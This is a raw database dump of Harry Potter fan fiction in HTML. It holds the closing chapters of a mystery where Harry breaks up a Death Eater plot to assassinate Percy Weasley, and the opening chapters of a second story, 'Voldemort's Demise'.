definitely satisfied with it and I hope that all\nof you readers are as well. Tell me if you are by reviewing. So hang tight for\nthe next chapter.</p>\n\n\n\n\n\n\n'),
	(113, 7, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\n1 Chapter 7: Decoding and Jailbreaks<br>\n<br>\nAzkaban fortress was a lot more different from what it had used to be like.\nSure it was still cold, dark, dreary, and miserable but there were no more\ndementors: they had been kicked out for their allegiance to Voldemort during\nthe reign of the Dark Lord. That fact alone made the prison seem like a heaven\ncompared to the hell it had used to be.<br>\n<br>\nHermione felt nothing but sheer boredom while in her cell. She hadn&#8217;t been\nfully convicted so she received better treatment then most inmates. She was\nalso extremely thankful that the dementors were gone. Hermione had absolute\nconfidence in her innocence and she fully trusted Harry to clear her name.\nTherefore, she spent the hours of her imprisonment wondering who would want to\nframe her for murder.<br>\n<br>\n&#8216;Could it be Malfoy,&#8217; she thought. &#8216;I&#8217;m sure that he&#8217;s the type to hold\ngrudges, and if this were Hogwarts it would be in full character for him to\nframe me for some crime I didn&#8217;t commit. Of course, we&#8217;re grown ups now and\nthis is a lot more serious&#8230;&#8217; Her train of thought was disrupted when a letter\nwas thrown through the bars of her window onto her lap. Hermione looked up in\ntime to see a silhouette of an owl fly away. Hermione read the note.<br>\n<br>\n1.1 Hermione<br>\n<br>\nSomething has come up. I&#8217;ll be coming to see you at midnight tonight. See you\nthen.<br>\n<br>\n1.1.1 Harry<br>\n<br>\nHermione&#8217;s heart fluttered a little when she read the note. &#8216;&#8217;Harry will be\nhere at 12.&#8217; She started counting down the hours till midnight.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nMeanwhile, in London, Harry and Ron were stooped over the coded parchment that\nhad started the whole affair. &#8220;Well here goes nothing,&#8221; said Harry as he ran\nthe decoder crystal over the parchment. Within, seconds the runes had\ntransformed into words:<br>\n<br>\nThis plan is to be left behind as a legacy to the Dark Lord should he fail in\nhis quest for power. Before Lord Voldemort&#8217;s defeat by Harry Potter, he had\ndeveloped a plot for a conspiracy that could place the Dark Lord&#8217;s followers\ninto power through more subtle methods. The plan is that we must get some one\nwe can fully control, in our present case Draco Malfoy, into the office of\nMinister of Magic. If Percy Weasley were to be chosen, the consequences would\nbe disastrous.<br>\n<br>\nThe time to act must be during the Candidate Talks held on September 24th. The\nsecurity will be topmost at the talks so the plan must be foolproof. In the\nmeantime we will continue using the muggle warehouse outside of southern London\nas a meeting place.<br>\n<br>\nIt must also be noted that the traitor, Severus Snape, also knows this plan.\nTherefore, Snape must be disposed of before the Candidate Talks. If all goes\nwell, Draco Malfoy will be the next Minister of Magic, the perfect puppet.<br>\n<br>\nRon looked up, alarmed. &#8220;Harry! Tomorrow is the 24th!&#8221;<br>\n<br>\nHarry nodded. &#8220;The Candidate Talks. They&#8217;re going to do something during the\nCandidate Talks.&#8221;<br>\n<br>\n&#8220;We&#8217;ve got to warn Percy!&#8221;<br>\n<br>\n&#8220;We can&#8217;t. The Candidate Talks are the most secretive meetings of the wizarding\nworld. Not even I know where they take place. And we can&#8217;t owl them: the owls\nwould be repelled.&#8221;<br>\n<br>\n&#8220;Oh, so we&#8217;re just going to sit here on our arses while former Death Eaters\nplan the demise of my brother!&#8221;<br>\n<br>\nHarry remained silent for a few minutes before he said &#8220;Snape.&#8221;<br>\n<br>\n&#8220;What?&#8221;<br>\n<br>\n&#8220;The Dark Wizards will try to kill Snape sometime within the next 24 hours. If\nwe can catch that dark wizard&#8230;well&#8230;he or she might know where the talks take\nplace!&#8221;<br>\n<br>\n&#8220;That&#8217;s bloody brilliant!&#8221; yelled Ron. &#8220;Of course, can&#8217;t we just let this guy\nkill Snape before we catch him?&#8221;<br>\n<br>\nHarry just rolled his eyes.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nHermione couldn&#8217;t remember a time when midnight had taken so long to roll by.\nShe had been waiting for long in front of her cell door, hoping to catch a\nsight of his green eyes as they walked in to see her. She glanced up at the\nclock.<br>\n<br>\n&#8216;Two more minutes to go,&#8217; she thought. &#8216;These must be the longest two minutes\nI&#8217;ve ever had.&#8217;<br>\n<br>\nSuddenly, she heard a familiar voice call out &#8220;Reducto!&#8221; Hermione whipped\naround just in time to see the outer wall of her cell be blasted away! She\ncould do nothing but gape before she caught sight of Harry Potter hovering just\noutside on a broomstick.<br>\n<br>\n&#8220;Harry!&#8221; she hissed. &#8220;What are you doing?!&#8221;<br>\n<br>\nHarry raised an eyebrow. &#8220;Breaking you out, of course.&#8221; He said that as if it\nwere the most obvious thing in the world. Hermione just stood there aghast.<br>\n<br>\n&#8220;What?! You can&#8217;t just break me out! I&#8217;ll get in even more trouble than I\nalready am!&#8221;<br>\n<br>\n&#8220;I&#8217;ll explain later,&#8221; said Harry. He yanked Hermione onto the broom. Not\nentirely sure of what was going on, Hermione simply wrapped her arms around\nHarry&#8217;s waist as he flew off over the North Sea.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nRon was reading a book while listening to Celestina Warbeck sing on the\nWizarding Wireless Network when the program stopped.<br>\n<br>\n&#8220;We interrupt this program to bring a news report. There has been a jailbreak\nat Azkaban fortress just fifteen minutes ago. This has been the first escape\nfrom Azkaban since the famous Sirius Black 8 years ago. The inmate who has\nescaped is the renowned journalist, Hermione Granger who was being held on\ncharges of murder. There have also been unconfirmed reports that the wizard who\nbroke Miss Granger out is none other than her long time friend, the famous\nHarry Potter, the defeater of You-Know-Who&#8230;&#8221;<br>\n<br>\nRon was absolutely stunned by this news. He called out &#8220;Harry!&#8221;<br>\n<br>\n&#8220;What?!&#8221; Harry Potter stepped out of the bathroom.<br>\n<br>\n&#8220;You didn&#8217;t just break Hermione out of Azkaban did you?&#8221;<br>\n<br>\n&#8220;Of course not, I&#8217;ve been here with you all this time. Why do you a&#8230;&#8221; Harry\nsuddenly realized what Ron had implied. Both men started pale, their eyes\nwidening in shock. Without a word, both Harry and Ron grabbed their broomsticks\nand took off into the night. They needed to find Hermione before it was too\nlate.<br>\n<br>\nA/N Well now, what do you think? This fic is only going to be about half as\nlong as &#8220;The Mage Knights&#8221; which would mean ten chapters. OK, so it was a\nlittle short. But this was supposed to be light hearted and it is compared to\n&#8220;The Mage Knights&#8221;. And most especially compared to &#8220;The Mage Knights&#8221; sequel I\nhave planned out. I&#8217;ll post the first chapter to that fic after I finish this\none. So that will be in about three days till now. In the mean time, R/R this\nstory.</p>\n\n\n\n\n\n\n'),
	(113, 8, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 8: The True Culprit<br>\n<br>\nThe broomstick carrying Hermione and Harry landed in the middle of a dark\nforest near Dover. For her part, Hermione was a little alarmed by what had just\nhappened. Harry had just broken her out of Azkaban when she had been positive\nthat he could get her out through legal means. Of course, Harry had always been\na rule breaker in school, but this was the law they were talking about. What\never he had to say to her, Hermione thought it had to be very important with\nthe risks Harry was taking.<br>\n<br>\nAll such thoughts dashed from her mind however as Hermione realized that she\nwas alone with Harry in the middle of a forest. Acting more on hormones than\nreason, Hermione tried to kiss Harry but was startled when he pulled away in\nshock.<br>\n<br>\n&#8216;Why did he pull away?&#8217; wondered Hermione. &#8216;I know we&#8217;ve only been dating for a\nfew days but&#8230;&#8217; Suddenly, it dawned on her that since it had only been a few\ndays, there were still some people who didn&#8217;t know that the Harry and Hermione\nwere an item. Fear and panic seizing her, Hermione slowly started to back away.\n&#8220;You&#8217;re not Harry.&#8221;<br>\n<br>\n&#8216;Harry&#8217;, realizing that the charade was over, whipped out his wand. &#8220;Where is\nthe crystal,&#8221; he hissed.<br>\n<br>\n&#8220;What?&#8221; Hemione had no idea what &#8216;Harry&#8217; was talking about.<br>\n<br>\n&#8220;The decoder crystal.&#8221;<br>\n<br>\n&#8220;I don&#8217;t know what you&#8217;re talking about.&#8221;<br>\n<br>\n&#8220;Draco Malfoy gave you our decoder crystal. We want it back!&#8221;<br>\n<br>\nHermione remembered the gifts Malfoy had given her during their date. &#8216;There\nmust&#8217;ve been something among those gifts that the dark wizards wanted. That&#8217;s\nwhy they attacked me after the date! That&#8217;s why I was framed for murder! That&#8217;s\nwhy I&#8217;m in trouble now!&#8217; Hermione remained quiet and tried to inch away.<br>\n<br>\n&#8220;Crucio!&#8221; Hermione dodged the cruciatus curse fired by &#8216;Harry&#8217;. She picked a\nsmall rock and threw it at the dark wizard. The rock hit him in the hand and\nthe wizard dropped his wand! Hermione made a dash for the fallen wand but was\ntackled by &#8216;Harry&#8217; who tried to pin her to the ground. Hermione started hitting\nhim with fists. It was emotionally painful for her to hit someone who looked\nand sounded just like Harry but she had to defend her self. Getting angry,\n&#8216;Harry&#8217; managed to punch Hermione in her gut! Hermione whimpered in pain as she\ncurled up on the ground. &#8216;Harry&#8217; picked up his wand and was about to curse her\nwhen a voice called out Expelliarmus!&#8221;<br>\n<br>\nThe first &#8216;Harry&#8217; jumped out of the way of the disarming spell just as Ron\nWeasley and a second Harry Potter flew down on broomsticks. Finding himself\noutnumbered, the first &#8216;Harry&#8217; disapparated.<br>\n<br>\n&#8220;Hermione! Are you alright?&#8221; Harry and Ron made their way to her. Though happy\nto see her best friends again, Hermione wasn&#8217;t taking any chances.<br>\n<br>\n&#8220;First prove to me that you&#8217;re the real Harry.&#8221;<br>\n<br>\nHarry took her hand gently. &#8220;I don&#8217;t know what that other guy did to you, but I\ncan assure you that I&#8217;m nothing like him.&#8221; Harry chose his words carefully, &#8220;No\nimposter could completely trick you because they can not love you the way I do.\nYou can see that this is the real me in front of you because of how much I love\nyou.&#8221;<br>\n<br>\nHermione stared into the pools of emerald that were Harry&#8217;s eyes. She slowly\nbrought her lips to Harry&#8217;s and felt the amazing sensations that came around\nwhenever they kissed. The sensations were enough to convince her that this was\nindeed the real Harry she was kissing. Hermione smiled.<br>\n<br>\n&#8220;Just to let you know, I love you too,&#8221; she said. Harry grinned and deepened\nthe kiss.<br>\n<br>\n&#8220;Alright, alright! As much as I love witnessing you two snogging each others\nbrains out,&#8221; said Ron while making a gagging face, &#8220;we need to get to Hogwarts\nso we can see Snape become bug food!&#8221; Harry and Hermione sprang apart looking\nvery red.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nA dark figure was walking through the dungeons of Hogwarts School of Witchcraft\nand Wizardry. This figure needed to perform a very important mission for the\nsake of the survival of the Death Eaters: kill Severus Snape. Snape had never\ntaken plans for the Candidate Talks seriously. He could not believe that the\nformer Death Eaters could launch such an extensive plot without the aid of\nVoldemort. Still, the fact that he knew about the plans made him a threat and\nDeath Eaters wiped out all potential threats.<br>\n<br>\nThe figure entered the dungeons and started heading towards Snape&#8217;s office when\na voice whispered &#8220;Lumos.&#8221; Natalie Robyns whipped around to see Ron Weasley\nstanding in a corner, his wand lighted. Ron wore an expression that had anger,\nshock, and betrayal written all over it.<br>\n<br>\n&#8220;Tell me it isn&#8217;t true,&#8221; he whispered, his voice reeking with malice and\nbetrayal. &#8220;Tell me that you just wandered down here to ask Snape a question, or\nto ask a favor from him, or just to see him for a friendly chat.&#8221;<br>\n<br>\nNatalie just stared at Ron, her eyes wide in astonishment. &#8220;Ron, what are you\ndoing here? What are you suggesting?&#8221;<br>\n<br>\nRon held up the decoder crystal. Natalie stared at in shock. &#8220;I&#8217;m suggesting\nthat you&#8217;ve come down here to kill Snape,&#8221; hissed Ron, barely containing his\nrage.<br>\n<br>\n&#8220;You&#8217;re not suggesting&#8230;&#8221;<br>\n<br>\n&#8220;You know exactly what I&#8217;m suggesting!&#8221;<br>\n<br>\nNatalie remained still for a moment when she whipped her wand out in panic!<br>\n<br>\n&#8220;Expelliarmus!&#8221; Natalie&#8217;s wand flew away into the hand of Harry Potter who was\nin another corner. Harry pointed his own wand at Natalie&#8217;s and said &#8220;Prioi\nIncantato.&#8221; A shadowy image of Phoebe Tomans flew out of the wand and pointed\nan accusatory finger at Natalie.<br>\n<br>\n&#8220;She&#8217;s the one,&#8221; said the shadow.<br>\n<br>\nHarry nodded and said, &#8220;I believe that you have some explaining to do Professor\nRobyns.&#8221;<br>\n<br>\nRon pointed his wand at Natalie and said &#8220;Stupefy!&#8221; Natalie fell to the ground\nunconscious.<br>\n<br>\nA/N Well, tellme: was that predictable? Did any of you realize who the true\nculprit was? I suppose it was a little too easy, but I think it was quite\nmysterious. All the questions will be answered in the next chapter, so in the\nmean time R/R.</p>\n\n\n\n\n\n\n'),
	(113, 9, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 9: The Truth comes Out<br>\n<br>\nAbout a few hours later, a large crowd of people gathered around an unconscious\nNatalie Robyns in the Hogwarts headmaster&#8217;s office. The people were as follows:\nUnspeakable Harry Potter, Journalist Hermione Granger, Auror Ron Weasley,\nDeputy Head of Magical Law Enforcement Sirius Black, Hogwarts Headmistress\nMinerva McGonagall, Defense against the Dark Arts Professor Remus Lupin, and\nPotions Professor Severus Snape.<br>\n<br>\n&#8220;Severus, will you do the honors?&#8221; said McGonagall. Snape stepped forward and\npoured three drops of Veritaserum down Natalie&#8217;s throat. He pulled out his wand\nand said &#8220;Enervate.&#8221; Natalie woke up, her eyes dull.<br>\n<br>\n&#8220;Say your name and occupation,&#8221; said McGonagall.<br>\n<br>\n&#8220;Robyns, Natalie. Transfiguration Professor at Hogwarts School of Witchcraft\nand Wizardry.&#8221;<br>\n<br>\n&#8220;Are you a Dark Witch?&#8221;<br>\n<br>\n&#8220;Yes.&#8221; Ron visibly stiffened.<br>\n<br>\n&#8220;How did you kill Phoebe Tomans? You were with me and Ron when she was killed,&#8221;\nsaid Harry.<br>\n<br>\n&#8220;That was one of the members of the organization who was with you using\npolyjuice potion. I switched with him when I went to the bathroom to establish\nan alibi. I was hiding in the bathroom under an invisibility cloak until she\nand Granger came. I stunned Granger and killed Tomans.&#8221;<br>\n<br>\n&#8220;Who heads your organization?&#8221; asked McGonagall.<br>\n<br>\n&#8220;Jason McNeil.&#8221;<br>\n<br>\n&#8220;WHAT?!&#8221; both Ron and Sirius bolted out of their seats, horrified by the fact\nthat their boss was the leader of the conspiracy. Harry also looked agitated\nbut kept his cool.<br>\n<br>\n&#8220;Who else is part of your group?&#8221; continued McGonagall. Natalie gave about\ntwenty names of witches and wizards, the vast majority of them working in the\nMinistry.<br>\n<br>\n&#8220;Bloody Hell!&#8221; muttered Ron. &#8220;This is a whole blasted conspiracy! With that\nmany dark wizards in the ministry, why do they need to get Malfoy as Minister?&#8221;<br>\n<br>\n&#8220;None of them aside from McNeil are in positions that could get them true\npower,&#8221; said Remus.<br>\n<br>\n&#8220;So what are they planning to do?!&#8221; shouted Ron.<br>\n<br>\nSnape looked up at the red haired auror. &#8220;I would of thought that would be\nquite obvious,&#8221; he said.<br>\n<br>\nRon shuddered. &#8220;They&#8217;re going to kill Percy.&#8221;<br>\n<br>\n&#8220;Right,&#8221; said Snape. &#8220;The plan was that the opposing candidate was to be\nassassinated while he was giving his campaign speech.&#8221;<br>\n<br>\n&#8220;So where do the Candidate Talks take place?&#8221; said Sirius. Neither Snape nor\nNatalie knew.<br>\n<br>\nHarry however, seemed to have thought up something. He made his way over to the\nfireplace and said &#8220;Incendio.&#8221; Flames roared in the fireplace. Harry pulled out\na jar of glittering powder from his cloak. He threw some of the powder into the\nfire and said &#8220;Albus, could I have a word?&#8221; The remainder of the company was\nshocked when the supposedly dead Albus Dumbledore tumbled out of the fireplace!<br>\n<br>\n&#8220;Dear me,&#8221; said Dumbledore. &#8220;It is nice to be back in Hogwarts again. But\nwhat&#8217;s all this? I was hoping to enjoy my retirement in peace.&#8221; Harry hastily\nexplained while the rest of the company stared in disbelief. Dumbledore\nnoticed.<br>\n<br>\n&#8220;If you are wondering why I am alive, I must mention that the rumors that I\nsimply retired and secluded myself from society are true. I wanted some peace\nand quiet after Voldemort&#8217;s defeat but I am willing to come by in case of an\nemergency as is the current case.&#8221; He turned to Harry. &#8220;The Candidate Talks are\nheld in the Magical Politicians Auditorium in Liverpool. And I believe Percy\nWeasley&#8217;s speech is at 10 AM.&#8221;<br>\n<br>\n&#8220;10AM! That&#8217;s three hours from now!&#8221; shouted Ron. Harry nodded.<br>\n<br>\n&#8220;If we fly off now, we can make it just in time,&#8221; he said. He, Hermione, Ron,\nSirius, and Remus decided that they would fly to Liverpool immediately, taking\nNatalie with them.<br>\n<br>\n&#8220;Good Luck,&#8221; said Dumbledore. &#8220;And remember, that fact that I am alive is a\nsecret.&#8221; He winked at them. Harry winked back before the company kicked off\ninto the morning air.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\n&#8220;How are you feeling, Ron?&#8221; asked Hermione after they had been flying for about\ntwo hours. They were nearing Manchester.<br>\n<br>\nRon glanced back at the unconscious Natalie who was tied up on the back of\nSirius&#8217;s broom.<br>\n<br>\n&#8220;Well, considering I&#8217;ve just been betrayed and backstabbed by the woman I&#8217;ve\nbeen steadily dating, quite peachy. How do you think I feel?!&#8221; he yelled.<br>\n<br>\nHermione remained quiet before she asked, &#8220;Did you love her?&#8221;<br>\n<br>\n&#8220;No. But it wouldn&#8217;t have been surprising if I eventually did. I thought we\nwere going so well together. And then, low and behold, my girlfriend turns out\nto be a Dark Witch!&#8221;<br>\n<br>\nHarry flew up to Ron. &#8220;You&#8217;ll get over her, Ron. You&#8217;ll eventually find the\nwoman just right for you.&#8221;<br>\n<br>\n&#8220;Just like you have?&#8221; grinned Ron. &#8220;Well I suppose I&#8217;ll have to prepare myself\nto playing baby sitter for all those little Harrys and Hermiones that&#8217;ll be\nrunning around.&#8221; Harry and Hermione turned beet red as Ron burst out laughing.<br>\n<br>\nA/N Next chapter is the last chapter. I hope this story was quite enjoyable and\nthat all of my readers loved it. So please R/R this story. And also, remember\nthat the first chapter to the sequel of The Mage Knights will be up after this\nstory is finished.</p>\n\n\n\n\n\n\n'),
	(113, 10, '\n\n\n\n<p class="MsoNormal">Disclaimer:\nThe Harry Potter series belongs to J.K. Rowling, Warner Bros., Scholastic,\nBloomsbury, Raincoast, and any other affiliated party.<br>\n<br>\nChapter 10: Uncovering the Conspiracy<br>\n<br>\nThe Candidate Talks were probably the most important speeches for the road to\nMinister of Magic. As far as Percy Weasley was concerned, he was born for this\nday. All the Hogwarts classes, the O.W.L.s, the N.E.W.T.s, the reports on\nCauldron Thickness, the work in the Ministry, today would be the day when all\nclimaxed. OK, there had been set backs such as the death of Bartemius Crouch\nSr. 7 years ago and the recent death of Phoebe Tomans, but all of that would be\nin the past soon.<br>\n<br>\nPercy glanced at Draco Malfoy. Malfoy was a nervous wreck. He was visibly\nshaking and his speaking was erratic. Percy grinned: this was going to be so\neasy.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nMcNeil scanned Malfoy. It was clear how much nervous he was. There was no way\nthat Malfoy would be able to compose himself for the speech. That meant that it\nwas up to his organization to make him Minister of Magic. He glanced up at the\nDark Wizard at the back of the crowd who was disguised as Harry Potter. He was\nsupposed to fire the killing curse at Percy when he went up to the podium to\nmake his speech. Percy Weasley would be dead, leaving Draco Malfoy as the sole\ncandidate. And Harry Potter would be blamed for the assassination.<br>\n<br>\nBeads of sweat fell down McNeil&#8217;s forehead as the an announcement was made,\n&#8220;And now I ask our first candidate, Percy Weasley, Head of the Department of\nInternational Magical Co-operation, to come up and make his speech.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nHarry, Ron, Hermione, Sirius, and Remus landed in front of the Auditorium and\nmade a mad dash for the entrance. An enforcement wizard stepped forward and\nblocked their path.<br>\n<br>\n&#8220;I&#8217;m sorry sirs, but only authorized personel are&#8230;&#8221;<br>\n<br>\n&#8220;Get out of the way, Andrews! Or I&#8217;ll have you fired!&#8221; yelled Sirius.\nRecognizing the Deputy Head of the Department of Magical Law Enforcement, in\nother words his boss, the enforcer stepped out of the way. The company dashed\ninto the auditorium just as Percy started to make his speech. &#8216;Probably\nsomething on cauldron thickness,&#8217; thought Ron. He then caught sight of a wizard\nidentical to Harry pointing a wand at Percy from the back of the crowd!<br>\n<br>\nRon made a dash for the podium where Percy was making his speech. The crowds\nstarted scattering as the auror made his way to his brother whom was oblivious\nto the company who had just barged in.<br>\n<br>\nRon yelled &#8220;PERCY!&#8221; and dived forward just as a voice rang out &#8220;AVADA KEDAVRA!&#8221;\nRon knocked Percy down just as the green light of the killing curse flew over\ntheir heads!<br>\n<br>\nStartled, Percy stared into the grinning face of his younger brother.<br>\n<br>\n&#8220;Hiya Perce, old pal!&#8221;<br>\n<br>\n&#8220;Ron? What are you doing here?!&#8221;<br>\n<br>\nSirius caught sight of McNeil and shouted, &#8220;Arrest him!&#8221; Needless to say, all\nof the aurors and enforcers were confused. But Harry knew precisely what to do\nand ran toward McNeil. Realizing that he was done for, McNeil tried to fight his\nway out.<br>\n<br>\n&#8220;Stupefy!&#8221; Harry ducked the stunner and shouted &#8220;Expelliarmus!&#8221; McNeil was\nblasted backwards while his wand flew into Harry&#8217;s outstretched hand. He\nslumped down to the floor, unconscious. Meanwhile, Remus was rounding up all of\nthe remaining dark wizards with the help of the aurors whom had figured out\nwhat was happening. Amidst all the confusion, Draco Malfoy had fainted in\nterror.<br>\n<br>\nThe imposter &#8216;Harry&#8217; was about to make a break for it when Hermione ran up to\nhim and yelled &#8220;Stupefy!&#8221; The imposter fell unconscious. Hermione recognized\nthe imposter as the same &#8216;Harry&#8217; whom had broken her out of Azkaban. She\npointed his wand at him and said &#8220;Finite Incantatem.&#8221; The polyjuice potion wore\naway to reveal auror Sam Locks.<br>\n<br>\nIn this way, the conspiracy of the coded parchment was resolved.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nA few weeks later, not much seemed to have changed though things had. Percy was\nnow Minister of Magic, and Sirius was the new Head of the Department of Magical\nLaw Enforcement. Minerva McGonagall was teaching transfiguration at Hogwarts\nagain until a new professor could be found.<br>\n<br>\nHermione Granger was waiting at a table in the Three Broomsticks in Hogsmeade.\nAfter a few minutes, Harry Potter made his way to the table carrying two\ntankards of butterbeer.<br>\n<br>\n&#8220;Hey,&#8221; she said with a smile.<br>\n<br>\n&#8220;Hey. I read your article on the conspiracy in the Daily Prophet. Top notch\nmaterial, I&#8217;m sure you&#8217;ll get some prize for that.&#8221;<br>\n<br>\n&#8220;Thanks. How&#8217;s Ron doing?&#8221;<br>\n<br>\nHarry grinned and pointed toward the bar. Hermione caught sight of Ron hitting\non a beautiful, sophisticated looking brunette. She was flirting back.<br>\n<br>\nHermione grinned. &#8220;He sure gets over pretty fast, doesn&#8217;t he?&#8221;<br>\n<br>\n&#8220;Yeah, its probably a good thing. I wouldn&#8217;t want him feeling broken hearted\nover Natalie Robyns for a long time.&#8221;<br>\n<br>\n&#8220;So, is there anything exciting going on in the Department of Mysteries?&#8221;<br>\n<br>\n&#8220;As a matter of fact, yes. I&#8217;ve got two weeks off and I was planning a vacation\nto Bermuda. Want to come with me?&#8221;<br>\n<br>\n&#8220;You bet, Potter.&#8221;<br>\n<br>\nHarry grinned as he and Hermione kissed passionately in the middle of the pub.<br>\n<br>\nTHE END<br>\n<br>\nA/N Well, that&#8217;s the end of this story. I hope all of you loved it; I know I\ndid. A special thank you to all of my reviewers: you guys rock! I hope that\neverybody continues reading my story. And also, remember that the first chapter\nto the sequel of The Mage Knights will be up in a few hours. Thank you for\nreading my story!<br>\n<br>\nE. C. R. Potter</p>\n\n\n\n\n\n\n'),
	(114, 1, '<i>Disclaimer, actually\nkind of two</i>...the HP characters aren\'t mine, except the ones that Harry\nfans don\'t recognize, much as I wish dear Harry was; they belong to JK\nRowlings, one of the most fantastic authors around. Also, part of the plot\nwhere Voldemort is actually demolished is also a borrowed idea from author\nPhyllis Reynolds Naylor where she writes about an evil sorcerer who was\ndefeated in a similar fashion in her book <i>The Witch Returns</i>, so\nthe actual spell used by the Gryffindors is not my idea.\n<p>        Sort of a bit of crossover,\nbut mostly still Harry Potter, where the Gryffindors get the idea from\na website about the spell used by two Americans used to defeat evil sorcerers.\nOh, and the two American characters aren\'t mine, but also Phyllis Naylor\'s;\nI might not even mention their names, just the idea. Sooo, hope that covers\nit. And anyway, if someone tried to sue, I just have a joooob, but not\nmillions in cash, so they\'d only get a few bucks. Soo, enjoy this story!\n<br/> \n</p><p><b>Voldemort\'s Demise</b>\n</p><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n</p><p><b>1: Dumbledore\'s Announcement</b>\n</p><p><b><u>Harry</u></b>:\n</p><p>        "Ron..." I called to my best\nfriend, Ron Weasley. I ran over to his dorm bed that Monday morning in\nlate November. Sure enough, Ron was barely up, his bright red hair in five\nmillion directions and his blue eyes still sleep-dazed.\n<br/>        "Yeh, I\'m up..." he moaned,\nheading to the bathroom still in his underwear. I was still a bit sleepy\nmyself, but had been up and dressed for a while. I was anxiously waiting\nthe morning announcement about our Gryffindor retreat. The evil wizard\nVoldemort is still at large and his been sighted in wooded areas close\nto Hogwarts and Hogsmeade. Most of his followers, aka death eaters, are\nnow in Azkaban prison, a result from an incident last spring where they\nfloo-jacked several Hogwarts students including Ron and Cheria Radwin,\ntwo good friends of mine from Hogsmeade. So, instead of flooing back to\nHogwarts as they planned, they\'d ended up in the death eaters\' chambers.\nThe rest of us, including Hermione Granger, Ginny Weasley, and me, had\nto stay on campus for two weeks until they were rescued. I still sometimes\nshudder remembering how frightened we\'d all been. Finally, a group of us\nstudents devised a plan to free them by developing a potion that could\nlocate the captives. It took a long afternoon of crying on all of our parts,\nincluding me, but we finally dried our tears, got our act together and\nput together the potion and it worked. Thank Merlin\'s stars that Professor\nTrelawney and Madame Hooch were willing to help. It had been dangerous,\nbut we\'d apparated over and got to them. It had been a battle, but we\'d\nfreed our classmates and Madame Hooch had several brooms with her, which\nshe piled several of us on at a time because the death eaters had put a\nspell to disable to apparating charm. That ended up working like a...charm\nbecause the death eaters were caught in their own trap and were caught.\nAnd perhaps best of all, Wormtail, who used to be Peter Pettigrew had been\nin that group, so he was caught, which in turn proved my godfather Sirius\nBlack\'s innocence.\n<br/>        "I just hope this retreat\nisn\'t postponed," I told Ron as we headed into breakfast before our classes\nof the day.\n<br/>        "Me too," Ron nodded. The\nGryffindor students are having a retreat at Quarry Grounds starting Wednesday\nand ending Saturday...keep your fingers crossed...if it\'s not postponed.\nHermione, Ginny, and Cheria waved us over and we joined them and talked.\nA <i>niiiing</i> sounded from the teacher\'s table in the front of the Great\nHall, drawing our attention and the room fell silent. Dumbledore, our headmaster,\nannounced the results of last Saturday\'s Quidditch game. (Gryffindor had\nwon). I smiled ruefully as I ran my tongue over the slit on the side of\nmy lip, which had been split last Saturday, and thought about how Draco\nMalfoy, the biggest jackass in Hogwarts history, knocked me off my broom,\nbut I\'d ended up batting the bludger away from Ginny just in time to allow\nher to catch the snitch and win the game. I still felt a small twinge in\nmy heart remembering last week when Malfoy had burned my parents\' photo\nalbum.  As a result, to my utter embarrassment, I\'d dissolved into\ntears right here in the Great Hall in front of almost the whole school.\nI\'d been crushed and humiliated for a couple of days, but now I was healing\nfrom that awful experience. Playing well at the Quidditch game had helped\nas well as having support from my friends.\n<br/>        "...and finally..." Dumbledore\nfinished. "The Gryffindor retreat will go on as planned, starting on November\ntwenty-fourth. Let breakfast begin." The whole Gryffindor table exploded\nwith mad whooping and any noise of triumph we could think of, including\nour group.\n<br/>        "Allll riiiiight!" Ron bellowed\nand hi-fived me and Hermione. I let out a whoop myself and Hermione tossed\na fist into the air and crowed. Dumbledore and our deputy headmistress\nsmiled down at us, then all of us began shoveling in food. Good, now our\nretreat can go on. All of us were looking forward to it.\n<br/> \n\n\n'),
	(114, 2, 'Thanks so much for reviewing\nthis story and others! I love reading the reviews! Sorry it took a while\nto get this chapter up, but I\'ve been busy with school and work (I just\nstarted my senior year in college). I\'m so glad you reviewed the first\nchapter, Esperanza and Aftertaste Of A Razorblade! There\'ll be more soon!\nThis second chapter is partly based on a delightful dream I had a few years\nago where I dreamed I was walking along with a group in a wooded area and\nwe saw little rainbows among the fall leaves. I remember waking up feeling\neuphoric from that dream. That dream still stands vividly in my mind even\ntoday. Enjoy this piece and keep those reviews coming; I enjoy reading\nthem as well as your stories too!\n<br/> \n<br/> \n<br/>\n<p><b>Voldemort\'s Demise</b>\n</p><p><i>By</i>: CNJ\n</p><p><i>PG-13</i>\n</p><p><b>2: Gryffindor Retreat</b>\n</p><p><b><u>Harry</u></b>:\n</p><p>        "...And so, after I\'d reminded\nNeville to put the silencing charm before we said the password to go into\nthe common room, Neville and I went in and found Greg Harriman and Felicia\nMoran trying to catch a cup of butterbeer from falling onto the floor,"\nRon told me as all of us Gryffindor students trekked through the wooded\narea of Quarry Grounds that Thursday afternoon. We\'d had our password changed\nsince last week and now use a silencing charm so others can\'t hear it.\nI was soo glad that this retreat wasn\'t postponed. My friends and I had\nall been in a bunch, but now Ginny, Cheria, and Hermione had moved toward\nthe back of the group and were talking with Lavender Brown and a few other\ngirls. Professors McGonagall and Hooch were chatting away somewhere in\nthe middle of the group. Since Quarry Grounds is about two hours away from\nHogwarts and almost in Wales, it was so far determined to be safe, since\nVoldemort had not been detected anywhere around Wales. It was an overcast\nafternoon with thick silvery-gray clouds and the leaves had all fallen\noff the trees and now made a fine crisp racket under our feet as we hiked\nalong. They were still bright colors and covered the ground like a multi-colored\nhuge carpet. Being the magical world, there were even more colors than\nthe muggle world. On top of the usual brown, purple, orange, yellow, gold,\nand red, I saw some glittering metallic leaves, and even a few deep pink\nleaves. We passed a bush with its leaves still on, but in multi-colors\nand several of us crowed, <i>Woooohhh</i>... when we saw that it was 